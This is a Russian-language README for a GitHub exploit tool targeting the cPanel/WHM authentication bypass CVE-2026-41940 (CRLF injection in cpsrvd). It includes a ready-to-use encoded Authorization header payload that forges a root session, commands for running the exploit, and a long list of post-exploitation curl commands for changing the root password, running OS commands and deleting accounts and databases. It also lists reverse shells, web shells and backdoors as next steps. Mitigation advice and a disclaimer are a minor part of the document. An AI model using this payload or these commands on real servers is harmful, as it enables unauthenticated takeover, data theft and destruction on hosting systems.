
Критический эксплойт обхода аутентификации для cPanel/WHM CVE-2026-41940. Использует CRLF-инъекцию в демоне cpsrvd для получения root-доступа к WHM без учетных данных. Включает определение версии, подробное логирование, поддержку прокси, формирование JSON-отчетов и постэксплуатационное перечисление учетных записей. Только для авторизованного тестирования безопасности.
Критический обход аутентификации через CRLF-инъекцию в демоне cpsrvd cPanel/WHM
CVE-2026-41940 — это критическая уязвимость обхода аутентификации в cPanel & WHM, которая позволяет неаутентифицированным удалённым злоумышленникам получить административный доступ уровня root к серверу. Уязвимость присутствует в обработке сессий демона
cpsrvd, а именно вCpanel/Session.pm, где некорректная нейтрализация разделителей строк (CRLF) в cookiewhostmgrsessionи заголовкахAuthorizationпозволяет внедрять параметры сессии.
| Оценка CVSS | Тип эксплойта | Воздействие | Вектор атаки |
|---|---|---|---|
| 9.8 | Обход аутентификации | Доступ root | Сеть |
Этот инструмент эксплойта предоставляет следующие ключевые возможности:
🔓 Обход аутентификации - получение root-доступа к WHM без учётных данных
🛡️ Множественные техники обхода - автоматический перебор различных методов проверки
🌐 Поддержка прокси - маршрутизация трафика через HTTP/HTTPS-прокси
📊 JSON-отчёты - создание подробных отчётов об оценке
📝 Подробное логирование - расширенный режим отладки с метками времени
🔍 Определение версии - автоматическое обнаружение и проверка уязвимых версий
👥 Перечисление учётных записей - вывод всех учётных записей cPanel после эксплуатации
🎯 Несколько конечных точек - перебор различных API-эндпоинтов для проверки
Уязвимость обусловлена двумя основными проблемами:
CRLF-инъекция в хранилище сессий - функция saveSession не очищает символы новой строки (\n) в поле pass перед записью в файл сессии, что позволяет внедрять произвольные параметры сессии.
Условный обход кодирования - когда в cookie сессии отсутствует часть ob (сегмент после запятой), значение pass записывается без кодирования (открытым текстом), что позволяет внедрять CRLF-последовательности.
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
Сначала эксплойт получает cookie предварительной сессии, выполняя неудачную попытку входа:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
Ответ:
Set-Cookie: whostmgrsession=base64_encoded_data
Специально сформированный заголовок Authorization внедряет вредоносные параметры сессии:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
Декодированная полезная нагрузка:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Сервер отвечает перенаправлением, содержащим токен административной сессии:
Location: /cpsess1234567890/
Эксплойт перебирает несколько методов проверки, чтобы подтвердить root-доступ.
После успешной эксплуатации используйте следующие команды с полученным токеном:
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"
# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"
# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"
# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"
# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"
# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"
# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"
# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"
# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"
# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
-d "user=root&pass=NewP@ss123"
# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
-d "username=testuser&domain=test.com&password=TestPass123&plan=default"
# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
-d "script=id"
# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
-d "user=testuser"
# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
-d "user=testuser"
# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
-d "user=testuser"
# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"
# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"
# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"
# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"
# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"
# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
-d "db=test_db"
# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
-d "db=test_db"
# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"
После получения root-доступа к WHM злоумышленник может:
🔍 Просматривать все учётные записи cPanel
👤 Создавать новые учётные записи cPanel
🔑 Изменять пароли учётных записей
❌ Удалять или приостанавливать учётные записи
🖥️ Выполнять команды ОС
🔄 Изменять пароль root
📊 Просматривать статистику сервера
🗄️ Управлять базами данных MySQL
🐚 Развёртывать обратные оболочки
🌐 Устанавливать веб-оболочки
🗝️ Устанавливать бэкдоры
🔒 Создавать скрытые административные учётные записи
📁 Получать доступ ко всем файлам сервера
💾 Экспортировать базы данных
📧 Читать почтовые учётные записи
🔐 Получать доступ к SSL-сертификатам
# 1. Update cPanel/WHM immediately
/scripts/upcp --force
# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall
# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication
# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords
# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"
# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
✅ Внедрить строгую проверку входных данных для предотвращения CRLF-инъекций
✅ Развернуть правила WAF для обнаружения и блокировки вредоносных запросов
✅ Включить ограничения доступа к WHM по IP-адресам
✅ Регулярно обновлять cPanel/WHM до последних версий
✅ Проводить регулярные оценки безопасности
✅ Отслеживать журналы на предмет подозрительной активности
✅ Применять принцип минимальных привилегий
✅ Включить Security Advisor в WHM
✅ Регулярно проводить аудиты безопасности
✅ Внедрить систему обнаружения вторжений
{
"timestamp": "2026-07-26T22:23:25.123456",
"target": "https://target.com:2087",
"status": "success",
"token": "1234567890",
"detected_version": "11.110.0.85",
"vulnerable": true,
"verification_method": "url_format",
"notes": "Root access confirmed; Token verified",
"exploit_name": "CVE-2026-41940",
"cvss_score": "9.8",
"description": "cPanel/WHM Authentication Bypass via CRLF Injection",
"exploit_version": "1.0"
}
Этот инструмент предоставляется исключительно в образовательных целях и для этических исследований в области безопасности. Автор и участники не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением. Используя этот инструмент, вы соглашаетесь взять на себя всю ответственность за свои действия. Убедитесь, что у вас есть явное разрешение, прежде чем тестировать любую систему.
Мы приветствуем ваш вклад! Пожалуйста, выполните следующие шаги:
🍴 Сделайте форк репозитория
🔧 Создайте ветку для вашей функции (git checkout -b feature/amazing-feature )
💾 Зафиксируйте свои изменения (git commit -m 'Add amazing feature')
📤 Отправьте ветку в удалённый репозиторий (git push origin feature/amazing-feature)
🔃 Откройте Pull Request
🎉 Первоначальный выпуск
🔓 Реализация эксплойта CRLF-инъекции
🛡️ Множественные техники обхода проверки
📊 Генерация JSON-отчётов
🌐 Поддержка прокси
📝 Подробное логирование
🔍 Определение версии
👥 Перечисление учётных записей
📚 Полный набор команд пост-эксплуатации
Уведомление о безопасности - [email protected]
GitHub Issues - Создать Issue
⚠️ ПОМНИТЕ: С большой силой приходит большая ответственность! Используйте этично! ⚠️
Сделано с ❤️ для сообщества специалистов по безопасности
| Атрибут | Значение |
|---|
| CVE ID | CVE-2026-41940 |
| Оценка CVSS | 9.8 (критическая) |
| Тип уязвимости | Обход аутентификации через CRLF-инъекцию |
| Затронутый компонент | демон cpsrvd (Cpanel/Session.pm) |
| Вектор атаки | Сеть |
| Воздействие | Полный доступ root |
| Эксплуатация | Удалённо, без аутентификации |
| Канал релиза | Уязвима до | Исправленная версия |
|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
| Аргумент | Короткая форма | Обязателен | Описание |
|---|
--target | -t | ✅ | URL цели (например, https://target.com:2087 ) |
--verbose | -v | ❌ | Включить подробный/отладочный вывод |
--proxy | -p | ❌ | URL прокси (например, http://127.0.0.1:8080 ) |
--output | -o | ❌ | Выходной файл для JSON-отчёта |
--timeout | ❌ | Тайм-аут запроса в секундах (по умолчанию: 10) | |
--list-accounts | -l | ❌ | Вывести список учётных записей cPanel после успешной эксплуатации |
--version | ❌ | Показать версию эксплойта |